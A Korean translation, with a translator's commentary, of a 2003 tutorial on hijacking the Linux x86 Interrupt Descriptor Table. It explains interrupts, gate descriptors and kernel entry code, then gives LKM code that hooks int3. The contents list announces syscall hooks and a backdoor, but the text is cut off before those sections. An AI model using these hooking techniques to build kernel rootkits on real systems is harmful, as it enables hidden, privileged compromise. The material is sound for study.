=============================================================== 제목 : IDT 하이재킹 (부제 : IDT 의 처리) 원저자 : kad 작성자 : edward 작성일자 : 2003. 07. 12 수정일자 : 문서버젼 : ver 0.0.1 라이센스 : GPL 홈페이지 : http://osx86.org 참조문헌 : =============================================================== IDT 하이재킹 ======================================================= * 준비물 - i386이상 - 리눅스 머신 - 리눅스 source * test 환경 - os : Windows 2000 Server - processor : Pentium 4 1.6Ghz - ram : 256mb * 필요 지식 - 리눅스 시스템 사용법 - 어셈블리 언어와 보호모드 특권레벨 - 리눅스 시스템 콜 email : osx86@osx86.org ======================================================= ///////////////////////////////////////////////////////////////// I. 목차 1 - 소개 2 - 설명 2.1 - 인터럽트란 ? 2.2 - 인터럽트와 예외 2.3 - 인터럽트 벡터 2.4 - IDT 란 무엇인가 ? 3 - 예외 3.1 - 예외 목록 3.2 - 예외가 발생할때 무슨일이 일어나는가 ? 3.3 - 인터럽트 후킹(by mammon) 3.4 - 일반적인 인터럽트 후킹 3.5 - 후킹으로부터 얻을 수 있는 이득 : 우리의 첫번째 백도어 3.6 - 후킹으로부터 얻는 재미 4 - 하드웨어 인터럽트 4.1 - 하드웨어 인터럽트는 어떻게 해야 하죠 ? 4.2 - bottom half 초기화 및 활성화 4.3 - 키보드 인터럽트의 후킹 5 - 시스템 콜을 위해 프로그램된 예외 5.1 - syscalls(시스템콜) 목록 5.2 - 시스템 콜이 어떻게 동작하는가 ? 5.3 - 후킹으로부터 얻을 수 있는 이득 5.3.1 - sys_setuid 의 후킹 5.3.2 - sys_write 의 후킹 5.4 - 후킹으로부터 얻는 재미 6 - CheckIDT 7 - 참조문헌 & 인사말 8 - 부가적인 내용 ///////////////////////////////////////////////////////////////// (% edward : 간만에 목차가 있는 문서를 작업하게 되었군요.) 1. 소개 인텔 CPU 는 리얼모드와 보호모드라는 두가지 모드로 동작할 수 있습니다. (% edward : 다들 아시죠 ) 리얼모드는 사용자 프로그램이 커널 레지스터를 변경하게 되는것을 막을 수 없습니다. 모든 현대의 운영체제는 사용자 프로세스에 의해 변경되어서는 안되는 레지스터를 엑세스하기 위해서는 아주 엄격한 액세스 규칙을 갖는 보호모드를 사용하여 제작되어지고 있습니다. 보호모드는 4가지 다른 특권 레벨을 갖습니다. 다들 잘 알고 있다시피 0에서 3까지의 특권을 갖게 되죠. 사용자에 의해 구동되는 응용프로그램은 보통 특권레벨 3을 갖게 됩니다. 반면에 커널은 가장 특권이 높은 특권레벨 0을 갖고 동작하게 됩니다. 이러한 특권 레벨 0 은 커널에게 CPU 의 하드웨어적인 부분과 메모리 부분을 포함한 모든 레지스터를 완전하게 엑세스 할수 있게 해줍니다. IDT 를 해킹하기 위해서는 이러한 보호모드에 대한 궁금증이 없어야 할껍니다. (% edward : 보호모드에 대해서는 IASDM 3 를 참조해주세요... ^^;) 이 글은 x86 기반의 리눅스 시스템에서 인터럽트 디스크립터 테이블(Interrupt Descriptor Table : IDT)를 수정 혹은 변경하는 테크닉에 대해서 테스트 하게 될겁니다. 그리고 위의 테크닉을 로드가능한 커널 모듈(LKM)을 사용하여 시스템 콜을 리다이렉트 하는 지에 대한 테크닉에 대해서도 설명하게 된답니다. 이 글에서 제공하는 예제들은 실행가능한 코드를 커널 공간(Kernel Space)으로 로드해야 하는 단순한 이유로 LKM을 사용하여 제작될 것입니다. 이 문서의 범위를 넘어서는 다른 테크닉으로는 실행가능한 코드를 커널 공간으로 로드하거나 커널 모듈을 숨기는 것(Spacewalker's Method 예제) 이 사용됩니다. IDT에 대한 실험을 하고 5분마다 커널 패닉이 일어나는것을 숨기는데 유용한 툴인 CheckIDT는 이 문서의 끝부분에서 제공됩니다. (% edward : 끝까지 가보도록 하죠 ... Here We go ! ) 2 - 설명 2.1 - 인터럽트란 ? "인터럽트는 프로세서에 의해 인스트럭션의 순서대로 수행되는 변화 즉 이벤트라고 정의된다. 어떤 이벤트들은 CPU 칩의 내부와 외부의 하드웨어 회로에 의해 발생되는 전기적인 시그널과 일치한다." ( "Understanding the Linux Kernel 에서.." - O'Reilly 출판사 ) 2.2 - 인터럽트와 예외(Interrupts and Exceptions) 인텔 레퍼런스 매뉴얼에 따르면 인스트럭션의 실행이 완료된 후 CPU 의 컨트롤 유닛(CU) 에 의해서 생성되는 "동기화 인터럽트"를 "예외"라 하며, 비동기화 인터럽트(임의의 시간에 다른 하드웨어 장치에 의해 생성됨)를 "인터럽트"라 한다. 인터럽트는 외부 I/O 장치에 의해 발생함에 반해 예외는 프로그래밍 오류나 커널에 의해 반드시 처리되어야 하는 예외 상황에 의해 발생된다. 이 글에서 "인터럽트 시그널" 이란 용어는 은 예외와 인터럽트를 설명하면서 될겁니다. 인터럽트는 두 가지로 나누어질수 있습니다. 우선 짧은 주기를 갖는 시간동안 무시되어 질수있는 (혹은 masked 상태를 갖는) mask 가능한 (maskable) 인터럽트와 반드시 즉시 처리해야만 하는 mask 할 수 없는(non-maskable) 인터럽트가 있답니다. (% edward : 재미있죠 ... ^^; 두 가지 인터럽트 형태를 꼭 기억해두세요. mask 는 보통 가면이나 위장하다 라는 의미로 해석되죠. 헌데 여기서는 어떤 mask 라는 놈을 이용해서 패턴을 제어하게 된답니다. 인터럽트를 바로 처리할 것인가 아닌가 하는 ...) Unmaskable 인터럽트는 하드웨어 오류(failure)와 같은 치명적인 이벤트에 의해 성성됩니다. 본문에서는 Unmaskable 인터럽트에 대한 처리를 하지 않을것입니다. 우리가 잘 알고 있는 IRQ(Interrupt ReQuest)들은 maskable 인터럽트의 범주에 속하게 된답니다. (% edward : 음 ... 여기서 쓸데없는 말 한마디 떠들고 갈께요. 많은 분들이 고 클럭의 CPU나 메모리 그리고 빠른 하드 디스크만 달아두면 빠르게 동작하리라 착각하시는 분들이 많은데 ... IRQ 의 우선순위를 정확히 이해하고 그 우선순위를 따라주지 않고 운영체제를 인스톨하게 되면 비싼돈 주고 저 사양의 PC 만도 못한 퍼포먼스를 내게 됩니다. 8259 PIC 에 대해서 이해하신 뒤 BIOS 설정과 OS 설정을 맞춰 주셔야 비로소 최적의 성능을 낼 수가 있게되죠. 심지어 자기 SYSTEM 이 가장 고 사양이라고 자랑을 하시는 분들이 많은데 가서 잠시만 보면 시스템 설정은 엉망인 경우가 대부분이더군요... 제 DURON 750MHZ 에 512MB SDRAM 이 탑재된 시스템 보다 못한 Pentium 4 1.8 Ghz 에 512MB RDRAM 을 장착한 시스템도 보이더군요. ^^; 뭐 여튼 인터럽트란 그만큼 영향을 미칠수가 있다는거죠. ) 예외는 또한 두 가지의 범주로 나뉘어 질수가 있답니다. 우선 프로세서에 의해 발생하는 예외가 있습니다. (예를들면 시스템 장애, 트랩, 중단[Faults, Traps, Aborts] 예외) 다른 하나로는 어셈블러 인스트럭션 int 와 int3 에 의해 트리거되어질 수 있는 프로그램에 의한 예외가 있습니다. 후자를 소프트웨어 인터럽트라고 부르곤 하죠. 2.3 - 인터럽트 벡터(Interrupt Vector) 각각의 인터럽트와 예외는 0에서 255 사이의 번호로 구분되어집니다. 인텔에서는 이 번호를 벡터라고 부르죠. 번호들은 아래와 같이 구분지어 집니다. ======================================= - 0 ~ 31 : 예외와 non-maskable 인터럽트 - 32 ~ 47 : maskable 인터럽트 - 48 ~ 255 : 소프트웨어 인터럽트 ======================================= 리눅스는 커널 함수를 호출하기 위해 syscall 인터페이스가 사용되는데 이러한 이유로 syscall 인터페이스를 위한 소프트웨어 인터럽트 번호인 0x80 하나만을 소프트웨어 인터럽트 번호로 사용합니다. 하드웨어 IRQ는 IRQ0에서 IRQ15까지 있는데, 이는 인터럽트 벡터 32번에서 47번으로 할당되게 됩니다. (% edward : 재미난 사실이죠 ... 시스템 콜을 통해 커널 함수를 호출하기 때문에 많은 소프트웨어 인터럽트 벡터 번호 중에서 0x80(128) 번 하나만을 사용한다니 ... ^^) 2.4 - IDT 란 무엇인가 ? IDT 는 인터럽트 디스크립터 테이블(Interrupt Descriptor Table)의 이니셜(각 단어의 제일 첫 알파벳)만을 딴 것입니다. (% edward : 이니셜 -_- Initial D ~~ -_-)v ) IDT는 각각의 인터럽트 벡터를 사용하여 인터럽트 핸들러와 연결되는 256 개의 연속된 테이블 엔트리입니다. 각각의 IDT 엔트리는 8 바이트를 갖는 디스크립터입니다. 따라서 IDT 엔트리의 전체 크기는 256 * 8 = 2048 bytes 가 된답니다. IDT 는 3 가지 형태로 구분되어지는 디스크립터(엔트리)를 갖습니다. - 태스크 게이트 디스크립터(Task Gate Descriptor) 리눅스는 다행히 이러한 형태의 디스크립터를 사용하지 않습니다. - 인터럽트 게이트 디스크립터(Interrupt Gate Descriptor) ============================================================== 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - 0 ~ 15 비트 : 핸들러 low 오프셋(offset) - 16 ~ 31 비트 : 세그먼트 셀렉터(selector) - 32 ~ 37 비트 : reserved - 37 ~ 39 비트 : 0 - 40 ~ 47 비트 : 플래그/타입 - 48 ~ 63 비트 : 핸들러 high 오프셋(offset) ============================================================== - 트랩 게이트 디스크립터(Trap Gate Descriptor) 인터럽트 게이트 디스크립터와 다른 부분은 같지만, 플래그 부분이 다름 인터럽트 게이트 디스크립터와 트랩 게이트 디스크립터의 플래그 부분은 다음과 같이 구성됨 : ============================================================= - 타입을 위한 5개의 비트(40~44) 인터럽트 게이트 : 1 1 1 1 0 트랩 게이트 : 0 1 1 1 0 - DPL 을 위한 2개의 비트(45~46) DPL = 디스크립터 특권 레벨(descriptor privilege level) - 마지막 1비트(47) : reserved ============================================================= low 오프셋과 high 오프셋은 인터럽트 처리를 할 함수의 주소를 갖게 됩니다. 인터럽트가 발생하게 되면 이 주소로 점프하게 되죠. 이 글의 목적은 이 주소들중 하나를 다른 주소로 변경하고, 우리가 원하는 인터럽트 핸들러를 수행하게 만드는 것이죠. DPL 은 디스크립터 특권 레벨(Descriptor Privilege Level)의 이니셜입니다. DPL 은 0 또는 3이란 값과 일치하게 됩니다. DPL 이 0 이란 값을 가지면 최고의 특권 레벨이 되며 이를 우리가 흔히 말하는 커널 모드라고 하죠. 현재 실행 레벨은 CPL(Current Privilege Level) 레지스터에 저장되며, UC(Unit of Control) 는 CPL 레지스터의 값과 IDT 의 인터럽트 디스크립터의 DPL 필드 값을 비교하게 됩니다. 만약 DPL 필드의 값이 CPL 레지스터의 값에 비해 크거나(낮은 특권레벨) 같으면(동일한 특권레벨) 인터럽트 핸들러가 수행됩니다. 유저모드에서 수행되는 응용 프로그램은 CPL 값으로 3을 갖고 동작하게 됩니다. 따라서 어떠한 인터럽트 핸들러는 유저모드에서 수행되는 응용프로그램에 의해 호출될 수 없는것도 있습니다. (% edward : 흔히 3이 숫자가 높으니 특권레벨이 높다고 가끔 착각할 수도 있습니다. 하지만 0 에 가까울수록 특권레벨이 높음을 의미합니다. 잊지마세요. ^^; 저도 자주 잊어버립니다... 그래서 커널은 핵심 혹은 심장으로 생각하고 중심부에 있다고 생각하여 기억하곤 하죠. 원을 하나 그려보세요... 그리고 그 원 위에 또 원을 그렇게 4개를 그려보세요... 가장 가운데 원에 0 이란 숫자를 쓰고, 그 외부의 원에는 1을, 그 외부의 원에는 2를, 그리고 그 외부의 원에는 3을 ^^; 그렇게 기억하시면 될듯하네요. 표로 만들어 본다면 ... ======================================= 0 : 가장 높은 특권 레벨(커널 모드) 1 : 0보다는 낮은 특권 레벨 2 : 1보다는 낮은 특권 레벨 3 : 2보다는 낮은 특권 레벨(유저 모드) ======================================= 제가 알기로는 리눅스는 특권 레벨 4가지를 다 사용하지 않고, 두 가지 특권레벨 0과 3만을 사용하는 것으로 알고 있습니다 ^^)a 원 저자가 위에서 설명한 "따라서 어떠한 인터럽트 핸들러는 유저모드에서 수행되는 응용프로그램에 의해 호출될 수 없는것도 있습니다." 라는 내용은 당연하죠 ... 왜 그런지 아래의 표를 볼까요 ^^; ======================================================== [특권레벨의 비교시] * DPL <= CPL -> 인터럽트 핸들러 수행됨 (DPL 의 특권레벨이 CPL 보다 낮거나 같아야함) * 유저 모드 응용프로그램의 CPL 은 3 * 따라서 유저 모드 응용 프로그램이 인터럽트 핸들러를 수행하려면 DPL 은 항상 3 이어야 한다. 왜냐구요 ? DPL <= CPL 이란 조건 때문이죠. * DPL 필드와 CPL 레지스터의 값으로 따진다면 수식은 DPL >= CPL 이 되겠죠. 그럼 DPL >= 3 여야 하는데, 특권 레벨은 아쉽게도 0~3 까지 밖에 없네요 ... 따라서 DPL 이 항상 3이어야 유저 모드에서 수행되는 응용 프로그램이 인터럽트 핸들러를 수행할 수 있겠죠. ======================================================== 이상 에드워드의 허접한 설명이라는 -_-;;; 계속해서 저자의 글을 보시죠.) IDT 는 바이오스 루틴에 의해 우선 초기화되지만 리눅스가 IDT 를 제어하기 위해 한번 더 초기화 하게 됩니다. 어셈블리 함수 lidt는 idt 의 크기와 주소를 담을 idtr 레지스터를 초기화합니다. 그리고 나서 setup_idt 함수는 256 개의 idt 엔트리를 interrupt gate와 ignore_int를 가리키게 만듭니다. (% edward : 한마디로 인터럽트 게이트와 무시할 인터럽트를 구분시키는 거겠죠. setup_idt 함수는 [커널소스루트/arch/i386/kernel/head.S] 에 있습니다. 아 그리고 약간 추가해서 설명하자면 ... ====================================================================== setup_idt: lea ignore_int,%edx /* ignore_int 의 실주소를 edx 로 */ movl $(__KERNEL_CS << 16),%eax movw %dx,%ax /* selector = 0x0010 = cs */ movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ lea SYMBOL_NAME(idt_table),%edi /* idt_table 의 주소를 edi 로 */ mov $256,%ecx /* 엔트리 개수만큼 ecx로 저장 */ rp_sidt: movl %eax,(%edi) movl %edx,4(%edi) addl $8,%edi /* edi 에 8을 더하는 이유는 ? */ dec %ecx /* ecx 를 감소시키는 이유는 ? */ jne rp_sidt /* 루프를 반복하는 이유는 ? */ ret ====================================================================== 위와 같이 되어있는데요. 위에서 본문의 저자가 설명한 내용이 이건데욤. edi 에 8을 더하는 이유는 아시죠... idt_table 의 엔트리 하나가 8바이트 이기 때문이고, ecx에 256 이 들어간 이유는 엔트리의 개수가 256 개 이기때문이죠. dec %ecx 를 통해 카운트하여 하나씩 감소시켜 0이 될때까지 반복 하겠다는거죠 ... 더 자세히 하자면 setup_idt 라벨의 __KERNEL_CS 값부터 찾아서 eax 에 무엇이 들어가는지 까지 다 알아봐야 겠죠. 그건 여러분들께 맡기겠습니다.) 그리고나면 게이트는 다음 함수에 의해 idt 에 삽입되게 됩니다. =================================== linux/arch/i386/kernel/traps.c -> set_intr_gate(n, addr) =================================== idt 레지스터가 가리키고 있는 주소에 n의 위치에 인터럽트 게이트를 삽입하고, 인터럽트 핸들러의 주소는 addr 에 저장됩니다. ================================ linux/arch/i386/kernel/i8259.c ================================ (% edward : 원저자가 소스파일을 잘못 기재했더군요.) 모든 maskable 인터럽트와 소프트웨어 인터럽트는 다음의 함수에 의해 초기화 됩니다. set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); =================================== linux/arch/i386/kernel/traps.c -> set_system_gate(n, addr) =================================== 트랩 게이트의 삽입. DPL 필드를 3으로 세트시킴. 이러한 인터럽트들은 유저 모드(특권레벨 3) 에서 호출될 수 있습니다. set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); =================================== linux/arch/i386/kernel/traps.c -> set_trap_gate(n, addr) =================================== DPL 필드를 0으로 세트시킨 트랩 게이트의 삽입 그 밖의 예외들은 set_trap_gate 에서 초기화됨 set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ 인터럽트는 set_intr_gate() 함수에 의해 초기화되고, 예외 int3, overflow, bound와 소프트웨어 인터럽트인 system call은 set_system_gate() 함수에 의해 초기화 됩니다. 자 그럼 이제 각각의 인터럽트에 할당된 인터럽트 핸들러의 주소를 갖고 몇가지 연습과 실험을 해볼까요 ? CheckIDT 는 이 글의 끝부분에 있다는거 아시죠. 사용법은 다음과 같습니다. 목차 8번에 보시면 checkidt 소스가 나와있으니 그걸 참조하여 작성하시고 컴파일을 해주세요. %./checkidt -A -s Int *** Stub Address * Segment *** DPL * Type Handler Name -------------------------------------------------------------------------- 0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug 2 0xc0109364 KERNEL_CS 0 Trap gate nmi 3 0xc0109370 KERNEL_CS 3 System gate int3 4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds 6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call System.map 은 위와 같이 심벌 이름들에 대한 주소를 갖고 있습니다. 확인해보도록 하죠. ===================================== % grep nmi /boot/System.map-[커널버젼] 00000000c0109364 T nmi ===================================== (% edward : 저자가 문서에 오류를 범한 부분이 있어서 약간 수정했습니다. ^^; 맵파일은 System.map 인 경우도 있고, System.map-2.4.19 와 같이 나올수도 있지요. 이는 커널 컴파일시 시스템 맵 파일이름을 어케 해주느냐의 차이인데 ... 여튼 위의 파일이 있을겁니다. nmi 는 not maskable interrupt 이며 trap_gate 랍니다. 나오는 정보중 00000000c0109364 이 값은 nmi 라는 심벌의 메모리 주소입니다. 그럼 계속 해서 보시죠.) ===================================== % grep overflow /boot/System.map-[커널버젼] 00000000c010937c T overflow ===================================== overflow 는 system_gate 입니다. ===================================== % grep ignore_int /boot/System.map-[커널버젼] 00000000c01001e4 t ignore_int ===================================== 18번부터 31까지는 인텔이 미래에 어떤 용도인지는 몰라도 쓸라고 reserve 해둔 상태입니다. ===================================== % grep IRQ0x01_interrupt /boot/System.map-[커널버젼] 00000000c010a0e0 t IRQ0x01_interrupt ===================================== keyboard 장치는 intr_gate 입니다. ===================================== % grep c01091b4 /boot/System.map 00000000c01091b4 T system_call ===================================== system call 은 system_gate 입니다. (% edward : 여기서 주의할 점 커널 컴파일시 System.map 파일을 제대로 만들어주지 않으면 앞으로 진행되는 작업에 차질이 있을수 있으니 확인해보세요. System.map 파일이 있는지 혹은 자신이 부팅한 커널과 버젼이 맞는지 ... ) 3 - 예외(exceptions) 3.1 - 예외 목록 --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ (% edward : 위의 표는 지금까지 제가 작업한 글을 빠뜨리지 않고 읽으셨다면 몇번쯤 보셨을 겁니다.^^;) 예외는 다음의 두 가지로 분류됩니다. - 프로세서에 의해 감지되는 예외(DPL 필드 0으로 세트) - 소프트웨어 인터럽트(프로그램에 의한 예외), (DPL 필드 3으로 세트) 후자는 유저 모드에서 호출되어질 수 있습니다. 3.2 - 예외가 발생할때 무슨일이 일어나는가 ? 예외가 발생할때 예외와 일치하는 현재 IDT 의 핸들러(처리기 : handler)의 주소가 실행되게 된다. 이 핸들러는 예외를 처리하기 위한 실제 핸들러는 아니고, 단지 실제 핸들러로 점프를 하게 해준다. 쉽게 말하면 : ============================================================= 예외 발생 -----> 중간 핸들러 -----> 실제 핸들러(Real Handler) ============================================================= 와 같다고 보면 된다. entry.S 에는 일반 핸들러(Generic Handler) 또는 스텁(stub)이라 불리기도 하는 모든 중간 핸들러에 대해 정의하고 있다. 중간 핸들러는 asm 으로 작성되어있고, 실제 핸들러는 C 로 작성되어있다. 이제 당황하지 말고, 중간 핸들러를 호출해보자! 이 어셈블리 언어로 작성된 중간 핸들러는 C 로 작성된 실제 핸들러를 호출하게 된다. 그럼 지금부터 entry.S 파일을 볼까요 ? entry.S : --------- ==================================================================== ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx decl %eax # eax = -1 pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) movl %esp,%edx pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es GET_CURRENT(%ebx) call *%edi addl $8,%esp jmp ret_from_exception ==================================================================== 위의 내용을 검토해보자! 모든 핸들러는 같은 구조로 되어 있습니다. (다만 system_call 과 device_not_available 은 다르다.) ================================== pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code ================================== Pushl $0 은 몇몇 예외를 위해서만 사용됩니다. UC(Unit of Control) 은 스택위에 예외에 대한 하드웨어 에러 값을 건드려서 손상시킬 것으로 예측 됩니다. 몇몇 예외는 에러 값을 발생시키지 않고 $0 를 push 하게 됩니다. 마지막 라인은 error_code 로 점프를 시키는데 자세한 내용은 linux/arch/i386/kernel/entry.S 를 참조하기 바랍니다. error_code 는 예외에 대한 asm 매크로로 사용됩니다. 자 그럼 한번더 예외 처리 장면을 그려보면 다음과 같습니다. ========================================================================= 예외 발생 -> 중간 핸들러 -> error_code 매크로 -> 실제 핸들러(Real Handler) ========================================================================= error_code 는 다음의 순서로 수행됩니다. ===================================================================== 1: C 함수에 의해 사용될 레지스터를 스택에 저장합니다. 2: 그리고 eax 를 -1로 세트시키고, 3: 하드웨어 에러 값($esp + 36)과 핸들러의 주소($esp + 32)를 각각 esi 와 edi 로 복사합니다. movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: 에러코드의 위치에 -1값을 갖고 있는 eax 위치시키고, es 의 내용을 $esp + 32 의 스택 위치로 복사합니다. 5: 스택의 가장 윗부분(top) 주소에 edx를 push하고, edx 에 error_code 를 덮어씁니다. 이때 스택의 가장 윗부분(stack top) 주소는 나중에 사용하기 때문에 반드시 저장해 두어야 합니다. 6: 커널 데이터 세그먼트 셀렉터를 ds 와 es 레지스터에 위치시킵니다. 7: 현재 프로세스에 대한 디스크립터의 주소를 ebx 에 세트 시킵니다. 8: C 함수로 전달해야 되는 파라미터들을 스택에 저장합니다. (예를들어 하드웨어 에러 값과 주소 그리고 유저모드 프로세스로 부터 레지스터가 저장된 스택의 위치등을 저장) 9: 예외 핸들러의 호출(주소는 edi 에 저장 되어 있음. 3번을 보세요) 10: 마지막 두 인스트럭션은 예외처리 후에 돌아오기 위한 것입니다. ===================================================================== error_code 는 적절한 예외 관리자로 점프하게 될 것이고, 거기서 실제로 예외에 대한 처리를 하게 될 것입니다. (자세한 내용은 traps.c 를 참조하기 바랍니다.) 예외 핸들러에 대한 완전한 예제를 하나 보도록 합시다. 예를들어, non maskable nmi 인터럽트 처리 C 핸들러를 봅시다. 아래 코드는 traps.c 의 일부분을 가져 온 것입니다. ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage 는 스택에 파라미터를 유지하기 위해 사용하는 매크로 입니다. 파라미터는 asm 코드에서 c 코드로 스택을 통해서 전달되기 때문에 원하지 않는 파라메터가 스택의 가장 윗 부분에 들어가는 단점을 가지게 될 수도 있는데, asmlinkage 는 그러한 문제를 해결할 수 있지요. do_nmi 함수는 pt_regs 타입을 갖는 포인터와 error_code 변수를 인자로 받습니다. pt_regs 는 /usr/include/asm/ptrace.h 에 정의 되어 있습니다. ====================== struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; ====================== 레지스터의 일부분은 error_code 에 의해서 스택에 push 되고, 다른 몇몇 레지스터는 하드웨어 레벨의 UC 에 의해 push 가 됩니다. 이 핸들러는 예외를 처리하고, 모든 시간을 프로세스에 시그널을 보내는 작업을 하게 됩니다. 3.3 - 인터럽트 후킹 Mammon(사람 이름인 듯)은 리눅스 하에서 어떻게 인터럽트를 후킹하는 가 하는 내용을 썼고, 그 테크닉을 Mammon 과 비슷하게 설명하게 될테지만 좀더 일반적이고 안정적인 방법으로 인터럽트 처리하는 방법을 사용할 것입니다. breakpoint 인터럽트인 int3 를 보자! 핸들러와 스텁(stub)은 다음과 같이 정의되어 있습니다. ==================================== ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ==================================== 더미 하드웨어 에러 값(0)이 세이브 된 후에 C 핸들러의 주소는 스택에 push 됩니다. 그리고 error_code 가 실행되게 됩니다. 우리의 접근방식은 어셈블리 핸들러를 재작성하게 되었고, 우리가 작성하게 될 핸들러의 주소를 실제의 do_int3가 아닌 스택에 저장하게 된다. 예제 : ================================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } ================================================= 우리의 새 핸들러는 오리지날 핸들러와 비슷하게 보입니다. C 컴파일러를 통해 컴파일을 해야 하는 건 당연히 알고 있겠죠. (% edward : 인라인 어셈블 같지요 ? ^^;) - 우선 우리의 asm 코드를 C 함수 안에 넣는것은 링킹을 쉽게 하기 위함 입니다. - .global my_stub 는 만약 우리가 global 로 extern asmlinkage void my_stub() 을 선언한다면, 어셈블 코드를 참조하기 위함 입니다. - align 4,0x90 은 한 워드의 크기로 정렬하기 위함입니다. 인텔 프로세서는 4 바이트(32 bits) 기반의 정렬(alignment)을 합니다. - push ptr_handler(,1)은 gas 구문입니며, 나중에는 사용하지 않을 것입니다. 인라인 어셈블리에 대한 내용은 7-[1]을 참조하세요 우리는 우리가 만든 핸들러의 주소를 push 하고 error_code로 점프할 것입니다. ptr_handler 는 우리의 C 핸들러의 주소를 갖게 됩니다. 다음과 같이 ... ===================================================== unsigned long ptr_handler=(unsigned long)&my_handler; ===================================================== C 핸들러 : ================================================================== asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *)old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } ================================================================== 우리는 두개의 인자를 다시 받는데 하나의 포인터와 err_code 입니다. 위에서 error_code 가 이 두 가지 인자를 push 하는 것을 본 것 같죠. 우리는 $SYMBOL_NAME(do_int3)를 push 또는 pushl 했다는 가정하에 이전 핸들러의 주소를 저장한다. 그리고는 우리가 인터럽트를 후킹했다는 것을 보여주기 위해 printk 문을 통해 "<1>Wowowo hijacking of int 3\n" 를 출력하고, old 핸들러로 돌아가게 한다. 이는 syscall 을 사용한 고전적인 후킹과 같은 방법이다. (% edward : osx86 의 syscall 문서를 보시면 한 번 언급되었던 내용임을 알 수 있습니다. 물론 IDT 하이재킹과는 상관없었지만요. ) 그렇다면 old_handler 는 무엇인가요 ? =================================== #define do_int3 0xc010977c unsigned long old_handler=do_int3; =================================== do_int3 의 주소는 System.map 을 통해 얻을 수가 있었죠 ? (우리가 심벌의 주소를 저 달나라로 정의할 수도 있겠습니다. % edward : 농담입니다.) 지금까지 내용에 대해 좀 더 명확하게 정리를 해보면 : ================================== asm 핸들러 ---------------- 0을 push 하고 우리의 handler 를 push 한뒤 error_code 로 jmp 합니다. error_code ---------- 몇 가지 작업을 하고 우리의 핸들러 주소를 pop 하고 우리의 C 핸들러로 jmp 합니다. 우리가 만든 C 핸들러 -------------------- 이전 핸들러의 주소를 저장하고, 후킹 하였다는 메시지를 출력한 뒤 실제 C 핸들러로 return 합니다. 실제 C 핸들러 ------------------- 실제 인터럽트를 처리합니다. ================================== 이제 IDT 의 디스크립터와 일치하게(offset_low 와 offset_high) 첫번째 핸들러의 주소를 